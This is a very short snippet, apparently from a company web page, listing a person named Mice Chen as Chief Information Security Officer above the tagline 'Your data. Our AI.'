Mice Chen
Chief Information Security Officer
Your data. Our AI.
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